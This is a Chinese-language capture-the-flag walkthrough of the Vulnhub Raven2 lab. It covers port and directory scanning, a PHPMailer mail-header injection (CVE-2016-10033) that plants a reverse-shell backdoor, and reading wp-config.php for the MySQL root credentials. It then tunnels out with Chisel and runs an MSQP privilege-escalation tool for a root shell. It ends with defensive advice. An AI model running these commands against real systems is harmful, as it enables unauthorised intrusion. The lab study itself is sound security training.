[Vulnhub] Raven2 PHPMailer-RCE+MSQP:Mysql权限提升
字数 1507 2025-08-19 12:40:34
Raven2 渗透测试实战教学文档
1. 目标概述
本次渗透测试的目标是 Vulnhub 上的 Raven2 虚拟机,通过 PHPMailer RCE 漏洞和 MySQL 权限提升技术获取系统 root 权限。
2. 信息收集阶段
2.1 主机发现与端口扫描
使用 Nmap 进行全端口扫描:
nmap -p- 192.168.101.160 --min-rate 1000 -sC -sV
扫描结果:
- 22/tcp: OpenSSH 6.7p1 Debian 5+deb8u4
- 80/tcp: Apache httpd 2.4.10 (Debian)
- 111/tcp: rpcbind 2-4
- 46606/tcp: status 1 (RPC)
2.2 Web 目录枚举
使用 Gobuster 进行目录扫描:
gobuster dir -u "http://192.168.101.160/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php
发现重要路径:
/vendor/- 包含 PHPMailer 版本信息/wordpress/- WordPress 站点
2.3 用户枚举
发现潜在用户名:
- steven
- michael
3. 漏洞利用阶段
3.1 PHPMailer RCE (CVE-2016-10033)
漏洞分析
PHPMailer 5.2.16 版本存在远程代码执行漏洞,攻击者可以通过精心构造的邮件头注入恶意命令。
利用步骤
- 准备 exploit 脚本 (exploit.py)
# 脚本内容见原文,关键点:
fields = {
'action': 'submit',
'name': payload,
'email': f'"anarcoder\\" -OQueueDirectory=/tmp -X/var/www/html{backdoor} server\" @protonmail.com',
'message': 'Pwned'
}
- 执行 exploit
python3 exploit.py http://192.168.101.160/contact.php reverse.php 192.168.101.128 10032
- 触发后门
curl http://raven.local/reverse.php
- 获取交互式 shell
python -c 'import pty;pty.spawn("/bin/bash")'
获取的 Flag
- flag1{a2c1f66d2b8051bd3a5874b5b6e43e21} - 位于 /vendor/PATH
- flag2{6a8ed560f0b5358ecf844108048eb337} - 位于 /var/www/flag2.txt
- flag3{a0f568aa9de277887f37730d71520d9b} - 位于 /wordpress/wp-content/uploads/2018/11/flag3.png
3.2 权限提升 (MySQL 提权)
信息收集
查看 WordPress 配置文件获取数据库凭据:
cat /var/www/html/wordpress/wp-config.php
发现:
- 用户名: root
- 密码: R@v3nSecurity
建立隧道
使用 Chisel 建立 MySQL 隧道:
攻击机:
./chisel server -p 8000 --reverse
目标机:
./chisel client 192.168.101.128:8000 R:3306:localhost:3306&
MySQL 提权
使用 MSQP (MySQL Server Privilege Escalation) 工具:
- 克隆工具:
git clone https://github.com/MartinxMax/MSQP.git
- 安装依赖:
python3 -m pip install mysql-connector-python
- 执行提权:
python3 msqp.py 127.0.0.1 3306 root R@v3nSecurity 192.168.101.128 10033
获取 root 权限
成功获取 root shell 后,读取最终 flag:
cat /root/flag4.txt
- flag4{df2bc5e951d91581467bb9a2a8ff4425}
4. 关键知识点总结
-
PHPMailer RCE (CVE-2016-10033)
- 影响版本:< 5.2.18
- 利用方式:通过邮件头注入实现任意命令执行
- 防御措施:升级 PHPMailer 版本,过滤用户输入
-
MySQL 权限提升
- 利用 root 数据库账户执行系统命令
- 需要数据库有 FILE 权限
- 防御措施:避免使用 root 账户运行应用,限制 MySQL 用户权限
-
隧道技术
- 使用 Chisel 建立反向隧道绕过防火墙限制
- 适用于内网穿透场景
-
信息收集技巧
- 配置文件泄露 (/vendor/, wp-config.php)
- 目录枚举发现敏感文件
- 版本信息收集确定漏洞利用可能性
5. 防御建议
- 及时更新所有软件组件到最新版本
- 避免使用 root 权限运行数据库服务
- 实施最小权限原则
- 定期审计系统配置和权限设置
- 对用户输入进行严格过滤和验证
- 禁用不必要的服务和端口
通过本案例可以学习到从 Web 应用到系统权限的完整渗透流程,以及如何利用多个漏洞进行纵深攻击。